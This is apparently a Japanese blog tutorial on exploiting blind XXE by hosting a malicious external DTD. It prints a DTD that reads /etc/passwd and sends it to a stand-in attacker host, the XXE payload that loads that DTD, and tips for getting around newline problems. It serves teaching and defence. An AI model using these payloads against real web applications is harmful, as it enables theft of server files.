Shikata Ga Nai

Private? There is no such things.

ブラインド XXE 脆弱性を利用したエラー メッセージから機密データの窃取と抽出

Hello there, ('ω')ノ

 

アウトオブバンド技術を使用してブラインド XXE 脆弱性を検出するのは

良いことですが、この脆弱性をどのように悪用するかという問題が頭に浮かび。

攻撃者は機密データを盗もうとする可能性があり。

 

これもまた、Blind XXE 脆弱性を利用して行われますが、

今回は攻撃者が管理下のシステム上で悪意のある DTD ファイルをホストし、

攻撃者によって Web サーバに送信された XML データを使用して、

Web アプリケーションが次の呼び出しを行う必要があり。

 

この攻撃者の制御下にある Web サーバ上でホストされる DTD ファイル

たとえば、Web サーバから /etc/passwd ファイルをハイジャックしたい攻撃者は、

次のような悪意のある DTD ファイルを準備して。

 

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

 

この DTD 定義を分解して説明すると。

 

file という名前の XML パラメータ エンティティが定義されており、

このエンティティには /etc/passwd ファイルの内容が含まれていて。


eval という名前の XML パラメータ エンティティが定義されており、

別の名前の exfiltrate には XML パラメータ エンティティが定義されている

動的宣言が含まれていて。

ここでの宣言は実際には XML パーサーに関係して。

つまり、URL クエリ文字列式(/?x=%file;)でわかるように、

ファイル エンティティのコンテンツを HTTP リクエストで攻撃者の

Web サーバに送信するタスクが定義されていると言えて。

ここではリクエストではなく、タスク定義と考えることができて

exfiltrate が呼び出されたときにリクエストが作成されて。

 

%eval;で、exfiltrate の呼び出しによる exfiltrate エンティティへの動的通知時に、

指定された URL でのリクエストが作成され、このリクエストとともに

/etc/passwd ファイルのコンテンツが攻撃者の Web サーバーに送信されて。

 

攻撃者は、自分が制御するサーバ上で悪意のある DTD ファイルを

ホストする必要があり。

通常、攻撃者はこのファイルを自分の Web サーバにアップロードし、

インターネットに公開して。

 

たとえば、攻撃者が次のような URL 経由でこのファイルにアクセスすることを

望んでいる場合、

http: //web-attacker.com/malicious.dtd

 

Web アプリケーションにこの URL を要求させるために、

次の XXE ペイロードを脆弱な Web サーバに送信して。

 

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

 

「xxe」という名前の XML パラメータ エンティティが呼び出されると、

DTD ファイル内のエンティティが使用され、XML パーサーが攻撃者の

Web サーバから外部 DTD ファイルを取得して処理して

これらの手順がすべて完了すると、/etc/passwd ファイルが攻撃者の

サーバに転送されて。

 

注:

この手法は、/etc/passwd などの一部のファイルでは機能しない場合があり。

理由は、改行文字 (\n) が含まれているためで。

/etc/hostname ファイルが URL からのものである場合は、

URL で許可されている文字を検証する API を使用して、

外部 DTD 定義で URL を取得しようとしていたためで。

これを解決するには、http:// プロトコルの代わりに ftp:// プロトコルを使用でき。

または、/etc/passwd を読み取る代わりに、単一行ファイル /etc/hostname を

読み取ることもできて。

 

Best regards, (^^ゞ